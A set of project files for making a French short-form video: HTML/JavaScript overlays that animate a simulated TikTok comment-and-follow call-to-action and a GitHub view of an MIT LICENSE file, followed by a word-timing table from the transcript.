     UI over it, as if the viewer were watching this very video. The finger taps the comment icon on « Commente » (τ 1.365),
     the white comments sheet comes up, « KITCHEN » is typed on « Kitchen » (τ 1.58 to 1.79) and posted with the red arrow
     (τ 1.95), the sheet leaves, « toncompte a aimé ton commentaire » drops on « lien » (τ 2.45), the finger taps the red +
     under the avatar on « suis » (τ 4.18, it turns into a check), then likes the video on « TikTok » (τ 4.74). No DM banner
     (no DM bot on TikTok). Nothing leaves. Transparent, 400x711.1 CSS at zoom 2.7 = 1080x1920. Adapted from
     short-change-de-style/source/tt-cta.html. -->
<style>
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  #live { position: absolute; left: 16px; top: 37px; }
  #tabs { position: absolute; left: 0; top: 36px; width: 400px; display: flex; justify-content: center; gap: 17px; font-size: 16.5px; letter-spacing: -.2px; }
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  #tabs span.on { color: #fff; font-weight: 700; }
  #tabs span.on::after { content: ""; position: absolute; left: 50%; bottom: -7px; width: 28px; height: 2.5px; margin-left: -14px; border-radius: 2px; background: #fff; }
  #search { position: absolute; right: 16px; top: 37px; }
  /* right rail, centred on x 368 */
  .rail { position: absolute; left: 368px; top: 0; width: 0; }
  .rail .it { position: absolute; left: -24px; width: 48px; display: flex; flex-direction: column; align-items: center; }
  .rail .ct { font-size: 12.5px; font-weight: 600; margin-top: 3px; height: 16px; position: relative; width: 60px; text-align: center; letter-spacing: -.1px; overflow: hidden; }
  .rail .ct span { position: absolute; left: 0; right: 0; top: 0; }
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  #info .who i { font-style: normal; font-weight: 500; font-size: 13.5px; color: rgba(255,255,255,.72); }
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  #cap b { font-weight: 700; } #cap i { font-style: normal; font-weight: 600; color: rgba(255,255,255,.75); }
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  /* TikTok comments sheet (light), its top at 460 CSS (1242 px), under the face */
  #sheet { position: absolute; left: 0; top: 460px; width: 400px; height: 251.12px; background: #fff; border-radius: 12px 12px 0 0; z-index: 26; overflow: hidden;
    color: #161823; box-shadow: 0 -6px 20px rgba(0,0,0,.18); }
  #stitle { position: absolute; left: 0; top: 15px; width: 400px; height: 18px; text-align: center; font-size: 13.5px; font-weight: 700; letter-spacing: -.1px; }
  #stitle span { position: absolute; left: 0; right: 0; top: 0; }
  #sclose { position: absolute; right: 16px; top: 15px; }
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  .crow .hl { position: absolute; inset: 0; background: rgba(254,44,85,.07); }
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  .cav img, .cav svg { width: 100%; height: 100%; }
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  #composer { position: absolute; left: 0; top: 192px; width: 400px; height: 59.12px; background: #fff; }
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  .ban .t1 i { font-style: normal; font-weight: 400; font-size: 13px; color: #9a9a9e; }
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  /* the viewer's finger */
  #dot { position: absolute; left: 0; top: 0; width: 34px; height: 34px; margin: -17px 0 0 -17px; border-radius: 50%; z-index: 60;
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</style></head>
<body><div id="app">
  <div id="gtop"></div><div id="gbot"></div>

  <div id="status" class="tsh"><span>9:41</span><div class="ic">
    <svg width="18" height="12" viewBox="0 0 18 12" fill="#fff"><rect x="0" y="8" width="3" height="4" rx="1"/><rect x="5" y="5.5" width="3" height="6.5" rx="1"/><rect x="10" y="3" width="3" height="9" rx="1"/><rect x="15" y="0" width="3" height="12" rx="1"/></svg>
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  <div id="live" class="sh"><svg width="30" height="24" viewBox="0 0 30 24" fill="none" stroke="#fff" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round">
    <path d="M10.5 2.2l4.5 3.6 4.5-3.6"/><rect x="2" y="5.8" width="26" height="16.4" rx="3.6"/>
    <text x="15" y="17.4" text-anchor="middle" fill="#fff" stroke="none" font-size="8.2" font-weight="800" font-family="-apple-system, Inter, sans-serif" letter-spacing=".2">LIVE</text></svg></div>
  <div id="tabs" class="tsh"><span>Explorer</span><span>Abonnements</span><span class="on">Pour toi</span></div>
  <div id="search" class="sh"><svg width="25" height="25" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="2.3" stroke-linecap="round"><circle cx="10.6" cy="10.6" r="7.1"/><path d="M15.9 15.9l5.3 5.3"/></svg></div>

  <div class="rail">
    <div class="it sh rit" style="top:328px"><div id="ava"><img src="../assets/images/avatar.png">
      <div id="plus"><div id="pchk"></div><svg id="pplus" width="11" height="11" viewBox="0 0 12 12" stroke="#fff" stroke-width="2.2" stroke-linecap="round"><path d="M6 1.5v9M1.5 6h9"/></svg><svg id="pcheck" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="#FE2C55" stroke-width="3.6" stroke-linecap="round" stroke-linejoin="round" style="position:absolute"><path d="M4.5 12.5l5 5 10-11"/></svg></div></div></div>
    <div class="it sh rit" style="top:396px">
      <div id="hwrap" style="position:relative;width:35px;height:35px"><svg width="35" height="35" viewBox="0 0 24 24"><path fill="#fff" d="M12 21.6c-.4 0-.8-.1-1.1-.4-.9-.6-2.3-1.8-3.9-3.2C4.3 15.7 1.5 13.3 1.5 9.1 1.5 5.5 4.3 2.9 7.3 2.9c1.9 0 3.6.9 4.7 2.4 1.1-1.5 2.8-2.4 4.7-2.4 3 0 5.8 2.6 5.8 6.2 0 4.2-2.8 6.6-5.5 8.9-1.6 1.4-3 2.6-3.9 3.2-.3.3-.7.4-1.1.4z"/></svg><svg id="hred" width="35" height="35" viewBox="0 0 24 24" style="position:absolute;left:0;top:0"><path fill="#FE2C55" d="M12 21.6c-.4 0-.8-.1-1.1-.4-.9-.6-2.3-1.8-3.9-3.2C4.3 15.7 1.5 13.3 1.5 9.1 1.5 5.5 4.3 2.9 7.3 2.9c1.9 0 3.6.9 4.7 2.4 1.1-1.5 2.8-2.4 4.7-2.4 3 0 5.8 2.6 5.8 6.2 0 4.2-2.8 6.6-5.5 8.9-1.6 1.4-3 2.6-3.9 3.2-.3.3-.7.4-1.1.4z"/></svg></div>
      <div class="ct tsh"><span>21,4 k</span></div>
    </div>
    <div class="it sh rit" id="icom" style="top:463px">
      <svg id="comsvg" width="34" height="34" viewBox="0 0 24 24"><path fill="#fff" d="M12 2.6c-5.6 0-10.1 3.9-10.1 8.7 0 2.75 1.47 5.2 3.78 6.8-.12 1.25-.64 2.55-1.66 3.65 2.25-.1 4.18-.9 5.42-1.95.83.16 1.69.25 2.56.25 5.6 0 10.1-3.9 10.1-8.75S17.6 2.6 12 2.6z"/>
        <circle cx="7.6" cy="11.3" r="1.25" fill="#161823" fill-opacity=".72"/><circle cx="12" cy="11.3" r="1.25" fill="#161823" fill-opacity=".72"/><circle cx="16.4" cy="11.3" r="1.25" fill="#161823" fill-opacity=".72"/></svg>
      <div class="ct tsh"><span id="cc0">3 118</span><span id="cc1">3 119</span></div>
    </div>
    <div class="it sh rit" style="top:530px">
      <svg width="31" height="31" viewBox="0 0 24 24"><path fill="#fff" d="M6.2 2.4h11.6c.95 0 1.7.75 1.7 1.7v16.9c0 .7-.8 1.1-1.36.68L12 17.1l-6.14 4.58c-.56.42-1.36.02-1.36-.68V4.1c0-.95.75-1.7 1.7-1.7z"/></svg>
      <div class="ct tsh"><span>2 412</span></div>
    </div>
    <div class="it sh rit" style="top:595px">
      <svg width="32" height="32" viewBox="0 0 24 24"><path fill="#fff" d="M13.4 3.3c-.42-.36-1.07-.06-1.07.5v4.2C6.1 8.6 2.6 12.8 2.2 19.9c-.03.5.6.72.9.32C5.3 17.3 8.1 15.9 12.33 15.8v4.2c0 .56.65.86 1.07.5l8.3-7.2c.3-.26.3-.72 0-.98z"/></svg>
      <div class="ct tsh"><span>5 204</span></div>
    </div>
  </div>
  <div id="disc"><img src="../assets/images/avatar.png"></div>

  <div id="info" class="tsh">
    <div class="who">toncompte<i>· 2 j</i></div>
    <div id="cap">La librairie UI la plus premium<br><b>#webdesign #claudecode</b> <i>... plus</i></div>
    <div id="music"><svg width="13" height="13" viewBox="0 0 24 24" fill="#fff"><path d="M9 3v11.6A3.5 3.5 0 1 0 11 18V8h8V3z"/></svg><span>son original - toncompte</span></div>
  </div>
  <div id="prog"><i id="progi"></i></div>

  <div id="dim"></div>
  <div id="sheet">
    <div id="list"></div>
    <div id="stitle"><span id="sc0">3 118 commentaires</span><span id="sc1">3 119 commentaires</span></div>
    <div id="sclose"><svg width="18" height="18" viewBox="0 0 24 24" stroke="#161823" stroke-width="2.4" stroke-linecap="round"><path d="M5 5l14 14M19 5L5 19"/></svg></div>
    <div id="composer">
      <div class="hair"></div>
      <div id="field"><div id="ph">Ajouter un commentaire...</div><div id="ftext"><span id="typed"></span><i id="caret"></i></div>
        <div id="ficons">
          <svg width="22" height="22" viewBox="0 0 24 24" fill="none" stroke="#161823" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="4"/><path d="M16 8v5a3 3 0 0 0 6 0v-1a10 10 0 1 0-3.9 7.9"/></svg>
          <svg width="22" height="22" viewBox="0 0 24 24" fill="none" stroke="#161823" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="9.5"/><path d="M8 14.2c1 1.4 2.4 2.1 4 2.1s3-.7 4-2.1"/><circle cx="9" cy="9.6" r=".6" fill="#161823"/><circle cx="15" cy="9.6" r=".6" fill="#161823"/></svg>
        </div></div>
      <div id="send"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"><path d="M12 20V4.5M5.5 11L12 4.5 18.5 11"/></svg></div>
    </div>
  </div>

  <!-- DM on « lien » -->
  <div class="ban" id="ban1">
    <div class="app"><img src="../assets/logos/tiktok.png"></div>
    <div class="tx"><div class="t1">toncompte<i>maintenant</i></div><div class="t2">t'a envoyé un message</div></div>
    <div class="thumb"><img src="../assets/images/avatar.png"></div>
  </div>
  <!-- like on « suis » -->
  <div class="ban" id="ban2" style="z-index:41">
    <div class="app"><img src="../assets/logos/tiktok.png"></div>
    <div class="tx"><div class="t1">toncompte<i>maintenant</i></div><div class="t2">a aimé ton commentaire</div></div>
    <div class="thumb"><img src="../assets/images/avatar.png"></div>
  </div>

  <div class="rip" id="rip0"></div><div class="rip" id="rip1"></div>
  <div id="dot"></div>
</div>
<script>
const $ = id => document.getElementById(id);
const clamp = (v, a = 0, b = 1) => Math.min(b, Math.max(a, v));
const seg = (t, a, b) => clamp((t - a) / (b - a));
// critically damped spring from rest (never overshoots)
const S = (x, w = 14) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
// same spring with a launch velocity k in [0,1]: still never overshoots
const SV = (x, w = 14, k = .6) => x <= 0 ? 0 : 1 - (1 + w * (1 - k) * x) * Math.exp(-w * x);
const out = p => 1 - Math.pow(1 - p, 3), io = p => p < .5 ? 4 * p * p * p : 1 - Math.pow(-2 * p + 2, 3) / 2;
const lerp = (a, b, p) => a + (b - a) * p;
const HEART_O = '<svg width="17" height="17" viewBox="0 0 24 24" fill="none" stroke="#8a8b91" stroke-width="2" stroke-linejoin="round"><path d="M12 20.6c-.3 0-.6-.1-.85-.3-.85-.6-2.2-1.7-3.7-3C4.9 15.1 2.5 13 2.5 9.3c0-3 2.3-5.3 5-5.3 1.8 0 3.4 1 4.5 2.6C13.1 5 14.7 4 16.5 4c2.7 0 5 2.3 5 5.3 0 3.7-2.4 5.8-4.95 8-1.5 1.3-2.85 2.4-3.7 3-.25.2-.55.3-.85.3z"/></svg>';
const DEF_AV = '<svg viewBox="0 0 32 32"><circle cx="16" cy="16" r="16" fill="#d5d5d8"/><circle cx="16" cy="12.6" r="5.6" fill="#f4f4f5"/><path d="M5.6 27.6c1.9-4.9 6-7.5 10.4-7.500s8.5 2.6 10.4 7.500A15.9 15.9 0 0 1 16 32a15.9 15.9 0 0 1-10.4-4.4z" fill="#f4f4f5"/></svg>';

// ---- event times, τ = clip time (short - 21.50). Words: Commente 1.35, Kitchen 1.68, t'envoie 2.19, lien 2.51, suis 4.20,
// commentaires 2.61, l'envoie 3.57, privé 3.84, suite 4.27, end 5.09. Same clock as ig-cta.html. Nothing leaves.
const T_IN = 1.12, TAP_COM = 1.365, T_SHEET = 1.39, TYPE = 'KITCHEN'.split('').map((_, i) => 1.58 + i * .035);
const TAP_PUB = 1.93, T_POST = 1.95, T_SHEET_OUT = 2.10, T_BACK = 2.18;
const T_BAN1 = 99, TAP_FOL = 4.18, T_BAN2 = 2.45, TAP_HEART = 4.74;

const OLD = [
  ['lucas.dev', '2 min', 'KITCHEN', 'linear-gradient(135deg,#2bb673,#0b6e4f)', 'L', '31'],
  ['sarah.creates', '3 min', 'KITCHEN <span class="emo">🙏</span>', 'linear-gradient(135deg,#ff7a59,#c2185b)', 'S', '22'],
  ['tom.codes', '5 min', 'Kitchen stp, je veux le ticket de caisse', 'linear-gradient(135deg,#5b4bdb,#1b9cff)', 'T', '17'],
];
const mkRow = (name, age, text, av, likes, hl) => {
  const r = document.createElement('div'); r.className = 'crow';
  r.innerHTML = (hl ? '<div class="hl"></div>' : '') + `<div class="cav"${av.bg ? ` style="background:${av.bg}"` : ''}>${av.html}</div>
    <div class="cbody"><div class="cname">${name}</div><div class="ctext">${text}</div><div class="cmeta"><span>${age}</span><b>Répondre</b></div></div>
    <div class="clike">${HEART_O}<span>${likes}</span></div>`;
  $('list').appendChild(r); return r;
};
const LIST_TOP = 44, ROW_H = 64;
const newRow = mkRow('toi', "à l'instant", 'KITCHEN', { html: DEF_AV }, '', true);
const oldRows = OLD.map(([n, a, tx, bg, ini, l]) => mkRow(n, a, tx, { bg, html: ini }, l));
const letters = 'KITCHEN'.split('').map(c => { const s = document.createElement('span'); s.textContent = c; $('typed').appendChild(s); return s; });
const railIt = [...document.querySelectorAll('.rit')], infoIt = [...$('info').children];
const top3 = ['live', 'tabs', 'search'];

// the viewer's finger: [t0, t1, x, y] eased moves (CSS px); it lands on the comment icon, then glides to the red arrow
const COM = [368, 480], PUB = [370, 681], FOL = [368, 374], HEART = [368, 413];
// a move with t0 = t1 is a jump while the finger is hidden
const MOVES = [[0, 0, COM[0] + 16, COM[1] + 26], [1.30, 1.36, COM[0], COM[1]], [1.45, 1.88, PUB[0], PUB[1]], [2.00, 2.20, 330, 750],
  [3.80, 3.80, 300, 470], [3.86, 4.14, FOL[0], FOL[1]], [4.30, 4.70, HEART[0], HEART[1]], [4.90, 5.20, 300, 540]];
const TAPS = [TAP_COM, TAP_PUB, TAP_FOL, TAP_HEART];
const VIS = [[1.30, 1.31, 2.02, 2.20], [3.80, 3.92, 4.92, 5.10]];
function curAt(t) {
  let x = MOVES[0][2], y = MOVES[0][3];
  for (const [a, b, nx, ny] of MOVES) { if (t < a) break; const p = b > a ? (a === 0 ? out(seg(t, a, b)) : io(seg(t, a, b))) : 1; x = lerp(x, nx, p); y = lerp(y, ny, p); }
  return [x, y];
}
const pressAt = (t, a) => { const d = t - a; return d > -.05 && d < .09 ? clamp(1 - Math.abs(d - .015) / .065) : 0; };
const show = (el, v) => { el.style.display = v > .001 ? '' : 'none'; };

window.setT = function (t) {
  const u = t - T_IN;
  // the rail, the info and the bottom gradient fade under the opening sheet, and come back once it has gone down
  const hc = io(seg(t, T_SHEET + .02, T_SHEET + .18)) * (1 - io(seg(t, T_BACK, T_BACK + .26)));
  const g = io(seg(t, T_IN, T_IN + .16));
  $('gtop').style.opacity = g; $('gbot').style.opacity = g * (1 - .6 * hc);
  // top: status, LIVE, the feeds and search drop in
  [['status', 0], ...top3.map((id, i) => [id, .02 + i * .015])].forEach(([id, d]) => {
    const q = SV(u - d, 20, .6), el = $(id);
    el.style.transform = `translateY(${-22 * (1 - q)}px)`; el.style.opacity = clamp(q * 1.4);
  });
  // rail: icons slide in from the right, the comment icon first (it is tapped at .08), the disc last
  railIt.forEach((el, i) => {
    const q = SV(u - [.012, .006, 0, .018, .03][i], 36, .8);
    el.style.transform = `translateX(${30 * (1 - q)}px)`; el.style.opacity = clamp(q * 1.6) * (1 - hc);
  });
  { const q = SV(u - .045, 22, .65); $('disc').style.transform = `translateX(${44 * (1 - q)}px) rotate(${t * 110}deg)`; $('disc').style.opacity = clamp(q * 1.5) * (1 - hc); }
  infoIt.forEach((el, i) => {
    const q = SV(u - (.02 + i * .03), 20, .6);
    el.style.transform = `translateY(${20 * (1 - q)}px)`; el.style.opacity = clamp(q * 1.4) * (1 - hc);
  });
  $('prog').style.opacity = seg(t, T_IN + .04, T_IN + .2) * (1 - hc);
  $('progi').style.width = (86 + 4.5 * t) + '%';

  // comment icon press + the counts roll when the comment is posted
  $('comsvg').style.transform = `scale(${1 - .18 * pressAt(t, TAP_COM)})`;
  const roll = out(seg(t, T_POST + .02, T_POST + .16));
  $('cc0').style.transform = `translateY(${-16 * roll}px)`; $('cc0').style.opacity = 1 - roll;
  $('cc1').style.transform = `translateY(${16 * (1 - roll)}px)`; $('cc1').style.opacity = roll;
  $('sc0').style.transform = `translateY(${-18 * roll}px)`; $('sc0').style.opacity = 1 - roll;
  $('sc1').style.transform = `translateY(${18 * (1 - roll)}px)`; $('sc1').style.opacity = roll;

  // sheet slides up over the bottom of the video (the face stays in the clear), an 8 % dim on the video
  const ps = SV(t - T_SHEET, 18, .6) * (1 - io(seg(t, T_SHEET_OUT, T_SHEET_OUT + .26)));
  $('sheet').style.transform = `translateY(${(1 - ps) * 270}px)`; show($('sheet'), ps);
  $('dim').style.opacity = .08 * ps; show($('dim'), ps);
  const hq = S(t - (T_SHEET + .05), 20);
  $('stitle').style.opacity = hq; $('sclose').style.opacity = hq;

  // new comment: the list slides down and the viewer's row fills the top slot
  const pn = SV(t - T_POST, 22, .5);
  oldRows.forEach((r, i) => {
    const q = S(t - (T_SHEET + .06 + i * .03), 20);
    r.style.top = (LIST_TOP + (i + pn) * ROW_H + (1 - q) * 14) + 'px'; r.style.opacity = q;
  });
  newRow.style.display = t >= T_POST ? '' : 'none';
  newRow.style.top = LIST_TOP + 'px'; newRow.style.opacity = clamp((pn - .08) / .45);
  newRow.style.clipPath = `inset(0 0 ${(1 - pn) * ROW_H}px 0)`;
  newRow.style.transform = `scale(${.97 + .03 * pn})`; newRow.style.transformOrigin = '20% 0%';
  newRow.querySelector('.hl').style.opacity = clamp(pn * 2);

  // field: focused once the sheet is up, « KITCHEN » typed letter by letter; the red arrow comes in with the first letter
  // (the field shortens to make room), goes once the comment is posted
  const focused = t >= T_SHEET + .14 && t < TAP_PUB + .02, cleared = t >= TAP_PUB + .03;
  let n = 0;
  letters.forEach((s, i) => {
    const on = t >= TYPE[i] && !cleared; if (on) n++;
    const q = S(t - TYPE[i], 45);
    s.style.display = on ? '' : 'none'; s.style.transform = `translateY(${(1 - q) * 3}px)`; s.style.opacity = .3 + .7 * q;
  });
  $('ph').style.display = n ? 'none' : '';
  const typing = t >= TYPE[0] && t < TYPE.at(-1) + .1;
  $('caret').style.opacity = focused && (typing || Math.floor((t - T_SHEET) * 3) % 2 === 0) ? 1 : 0;
  const son = (cleared ? 0 : S(t - TYPE[0], 30)) + (cleared ? 1 - S(t - (TAP_PUB + .03), 30) : 0), pp = pressAt(t, TAP_PUB);
  $('field').style.width = (372 - 42 * son) + 'px';
  $('ficons').style.opacity = 1 - son;
  $('send').style.opacity = clamp(son * 1.3);
  $('send').style.transform = `scale(${(.6 + .4 * son) * (1 - .1 * pp)})`;
  $('send').style.filter = `brightness(${1 - .15 * pp})`;

  // follow: the red + under the avatar is tapped on « suis » and turns into a white disc with a red check
  const fp = pressAt(t, TAP_FOL), fq = S(t - (TAP_FOL + .04), 20);
  $('plus').style.transform = `scale(${1 - .14 * fp})`;
  $('pchk').style.opacity = fq; $('pplus').style.opacity = 1 - fq;
  $('pcheck').style.opacity = fq; $('pcheck').style.transform = `scale(${.6 + .4 * fq})`;
  // the heart is tapped on the end card and fills TikTok red
  const hp = pressAt(t, TAP_HEART), hf = S(t - (TAP_HEART + .02), 22);
  $('hwrap').style.transform = `scale(${1 - .16 * hp})`;
  $('hred').style.opacity = hf; $('hred').style.transform = `scale(${.75 + .25 * hf})`;

  // notifications: the DM drops on « lien »; the like drops on « TikTok » and the DM slides behind it (the iOS stack)
  const b1 = SV(t - T_BAN1, 16, .6), b2 = SV(t - T_BAN2, 16, .6), bk = b2, bc = clamp((b2 - .55) * 3);
  show($('ban1'), b1);
  $('ban1').style.transform = `translateY(${-130 * (1 - b1) + 10 * bk}px) scale(${.97 + .03 * b1 - .06 * bk})`;
  $('ban1').style.opacity = clamp(b1 * 3);
  $('ban1').style.filter = `brightness(${1 - .35 * bk})`;
  $('ban1').querySelectorAll('.tx, .thumb, .app').forEach(el => { el.style.opacity = 1 - bc; });
  show($('ban2'), b2);
  $('ban2').style.transform = `translateY(${-120 * (1 - b2)}px) scale(${.97 + .03 * b2})`; $('ban2').style.opacity = clamp(b2 * 3);

  // finger dot + ripples
  const [cx, cy] = curAt(t);
  let press = 0; for (const a of TAPS) press = Math.max(press, pressAt(t, a));
  let vis = 0; for (const [a, b, c, d] of VIS) vis = Math.max(vis, seg(t, a, b) - seg(t, c, d));
  show($('dot'), vis);
  $('dot').style.transform = `translate(${cx}px,${cy}px) scale(${1 - .16 * press})`;
  $('dot').style.opacity = vis; $('dot').style.background = `rgba(255,255,255,${.32 + .3 * press})`;
  const RD = a => a === TAP_COM ? .26 : .42; // the comment-icon ripple is short: the sheet comes up over the icon
  const rips = TAPS.filter(a => t >= a && t < a + RD(a)).slice(-2);
  [0, 1].forEach(i => {
    const el = $('rip' + i), a = rips[i];
    if (a === undefined) { el.style.display = 'none'; return; }
    const p = out((t - a) / RD(a)), [rx, ry] = curAt(a);
    el.style.display = ''; el.style.transform = `translate(${rx}px,${ry}px) scale(${.45 + .85 * p})`; el.style.opacity = .85 * (1 - p);
  });
  return true;
};
window.setT(0);
</script></body></html>

<!doctype html>
<html><head><meta charset="utf-8">
<!-- Short time 18.95-20.30 (clip 1.45 s): "et tout est sous licence MIT".
     The real LICENSE file of Jakubantalik/thinking-orbs as a GitHub file view. A blue highlighter sweeps over
     "sell copies" on "licence" (.58-.85), the "MIT license" pill gets a blue ring on "MIT" (.99).
     Transparent 1080x1920 overlay. Draws only inside x 40-1040, y 60-1060. Every state is a pure function of t (setT). -->
<style>
  html, body { margin: 0; background: transparent; }
  body { width: 1080px; height: 1920px; overflow: hidden; -webkit-font-smoothing: antialiased; }
  #stage { position: absolute; left: 0; top: 0; width: 1080px; height: 1080px; overflow: hidden; }
  .gh { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif; color: #1F2328; }
  #card { position: absolute; left: 60px; top: 78px; width: 960px; height: 964px; box-sizing: border-box; background: #FFFFFF;
    border: 2px solid #D1D9E0; border-radius: 26px; overflow: hidden; transform-origin: 50% 832px;
    box-shadow: 0 40px 70px -26px rgba(40,28,10,.30), 0 14px 28px -10px rgba(40,28,10,.16), 0 2px 5px rgba(40,28,10,.10); }
  #lit { position: absolute; inset: 0; pointer-events: none;
    background: linear-gradient(180deg, rgba(255,255,255,.25) 0, rgba(255,255,255,0) 22%, rgba(60,44,20,0) 70%, rgba(60,44,20,.03) 100%); }
  #hdr { position: absolute; left: 0; top: 0; right: 0; height: 112px; background: #F6F8FA; border-bottom: 2px solid #D1D9E0; }
  #octo { position: absolute; left: 30px; top: 26px; width: 60px; height: 60px; }
  #path { position: absolute; left: 112px; top: 56px; transform: translateY(-50%); font-size: 40px; white-space: nowrap; display: flex; align-items: center; }
  #path .repo { color: #0969DA; font-weight: 600; }
  #path .sl { color: #59636E; margin: 0 14px; }
  #path .file { font-weight: 600; }
  #pill { position: absolute; right: 26px; top: 56px; transform: translateY(-50%); display: flex; align-items: center; gap: 14px;
    height: 68px; box-sizing: border-box; padding: 0 26px 0 22px; border-radius: 999px; background: #FFFFFF; border: 2px solid #D1D9E0;
    font-size: 35px; font-weight: 600; color: #1F2328; white-space: nowrap; }
  #ring { position: absolute; inset: -2px; border-radius: 999px; pointer-events: none; }
  #pill svg, #pill span { position: relative; }
  #body { position: absolute; left: 0; top: 114px; right: 0; bottom: 0; }
  .ln { position: absolute; left: 0; right: 0; height: 52px; }
  .num { position: absolute; left: 0; width: 70px; text-align: right; top: 0; line-height: 52px;
    font-family: "JetBrains Mono"; font-size: 34px; color: #8C959F; }
  .txt { position: absolute; left: 104px; top: 0; line-height: 52px; white-space: pre;
    font-family: "JetBrains Mono"; font-size: 38px; color: #1F2328; letter-spacing: 0; }
  #hl { position: absolute; top: 0; height: 52px; border-radius: 9px; background: #258EFF; overflow: hidden; z-index: 1; }
  #hl span { position: absolute; left: 8px; top: 0; line-height: 52px; color: #FFFFFF; white-space: pre; }
</style></head>
<body><div id="stage">
  <div id="card" class="gh">
    <div id="lit"></div>
    <div id="hdr">
      <img id="octo" src="../assets/logos/github.png">
      <div id="path"><span class="repo">thinking-orbs</span><span class="sl">/</span><span class="file">LICENSE</span></div>
      <div id="pill"><i id="ring"></i>
        <svg width="36" height="36" viewBox="0 0 16 16" id="law" fill="#59636E"><path d="M8.75.75V2h.985c.304 0 .603.08.867.231l1.29.736c.038.022.08.033.124.033h2.234a.75.75 0 0 1 0 1.5h-.427l2.111 4.692a.75.75 0 0 1-.154.838l-.53-.53.529.531-.001.002-.002.002-.006.006-.006.005-.01.01-.045.04c-.21.176-.441.327-.686.45C14.556 10.78 13.88 11 13 11a4.498 4.498 0 0 1-2.023-.454 3.544 3.544 0 0 1-.686-.45l-.045-.04-.016-.015-.006-.006-.004-.004v-.001a.75.75 0 0 1-.154-.838L12.178 4.5h-.162c-.305 0-.604-.079-.868-.231l-1.29-.736a.245.245 0 0 0-.124-.033H8.75V13h2.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1 0-1.5h2.5V3.5h-.984a.245.245 0 0 0-.124.033l-1.289.737c-.265.15-.564.23-.869.23h-.162l2.112 4.692a.75.75 0 0 1-.154.838l-.53-.53.529.531-.001.002-.002.002-.006.006-.016.015-.045.04c-.21.176-.441.327-.686.45C4.556 10.78 3.88 11 3 11a4.498 4.498 0 0 1-2.023-.454 3.544 3.544 0 0 1-.686-.45l-.045-.04-.016-.015-.006-.006-.004-.004v-.001a.75.75 0 0 1-.154-.838L2.178 4.5H1.75a.75.75 0 0 1 0-1.5h2.234a.249.249 0 0 0 .125-.033l1.288-.737c.265-.15.564-.23.869-.23h.984V.75a.75.75 0 0 1 1.5 0Zm2.945 8.477c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L13 6.327Zm-10 0c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L3 6.327Z"/></svg>
        <span id="pillT">MIT license</span></div>
    </div>
    <div id="body"></div>
  </div>
</div>
<script>
const $ = id => document.getElementById(id);
const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
const cl = (x, a = 0, b = 1) => Math.min(b, Math.max(a, x));
const L = (a, b, k) => a + (b - a) * k;
const mix = (a, b, k) => `rgb(${a.map((c, i) => Math.round(L(c, b[i], k)))})`;

// the MIT text, soft-wrapped at 36 columns the way GitHub wraps a long line; [line number or '', text]
const LINES = [
  ['1', 'MIT License'],
  ['2', ''],
  ['3', 'Copyright (c) 2026 Jakub Antalik'],
  ['4', ''],
  ['5', 'Permission is hereby granted, free'],
  ['', 'of charge, to any person obtaining'],
  ['', 'a copy of this software and'],
  ['', 'associated documentation files (the'],
  ['', '"Software"), to deal in the Software'],
  ['', 'without restriction, including'],
  ['', 'without limitation the rights to'],
  ['', 'use, copy, modify, merge, publish,'],
  ['', 'distribute, sublicense, and/or'],
  ['', '<b id="key">sell copies</b><span id="rest"> of the Software, and to</span>'],
  ['', 'permit persons to whom the Software'],
  ['', 'is furnished to do so, subject to'],
];
const KEY = 13, TOP = 16, LH = 52;
$('body').innerHTML = LINES.map((l, i) => `<div class="ln" id="l${i}" style="top:${TOP + i * LH}px"><span class="num">${l[0]}</span>` +
  `<span class="txt" id="t${i}">${i === KEY ? '<span id="hl"><span>sell copies</span></span>' : ''}${l[1]}</span></div>`).join('');
const keyEl = $('key'); keyEl.style.fontWeight = 'inherit'; keyEl.style.position = 'relative';

window.setT = function (t) {
  // frame 0 already shows the file; .15 s settle, then a slow push-in toward the key line
  const s0 = S(t, 36);
  const push = 1 + 0.02 * cl(t / 1.45);
  $('card').style.transform = `translateY(${(1 - s0) * 14}px) scale(${push})`;
  // the text lines settle from the top down, 12 ms apart
  LINES.forEach((l, i) => { const k = S(t - i * 0.012, 34), e = $('l' + i);
    e.style.transform = `translateY(${(1 - k) * 8}px)`; e.style.opacity = L(0.8, 1, k); });

  // "licence" .58 -> .85: the highlighter sweeps left to right over "sell copies"; the other lines step back
  const hw = keyEl.offsetWidth + 16, sw = S(t - 0.58, 15);
  const hl = $('hl'); hl.style.left = (keyEl.offsetLeft - 8) + 'px'; hl.style.width = (hw * sw) + 'px';
  hl.style.opacity = cl(hw * sw / 24);
  const dim = S(t - 0.62, 10);
  LINES.forEach((l, i) => { if (i !== KEY) $('t' + i).style.opacity = L(1, 0.4, dim); });
  $('rest').style.opacity = L(1, 0.4, dim);
  // "MIT" .99: the MIT License heading comes back to full ink with the pill ring
  const r = S(t - 0.99, 22);
  $('t0').style.opacity = L(L(1, 0.4, dim), 1, r);
  $('ring').style.boxShadow = `inset 0 0 0 ${(4 * r).toFixed(2)}px #258EFF`;
  $('ring').style.background = `rgba(37,142,255,${(0.10 * r).toFixed(3)})`;
  $('ring').style.opacity = cl(r * 1.4);
  const c = mix([31, 35, 40], [37, 142, 255], r);
  $('pillT').style.color = c; $('law').setAttribute('fill', mix([89, 99, 110], [37, 142, 255], r));
};
window.setT(0);
</script>
</body></html>

# Words

Source time (what spec.js uses) -> short time. Regenerated by `short.mjs prepare`.

Short duration: 11.48s (source 14.612s, 11 keeps)

| src | short | word |
|---|---|---|
| 0.04 | 0.04 | J'ai |
| 0.56 | 0.49 | testé |
| 1.37 | 1.10 | tous |
| 2.00 | 1.51 | les |
| 2.27 | 1.71 | clics |
| 3.16 | 2.37 | cloud |
| 3.40 | 2.58 | montées |
| 3.70 | 2.84 | vidéo |
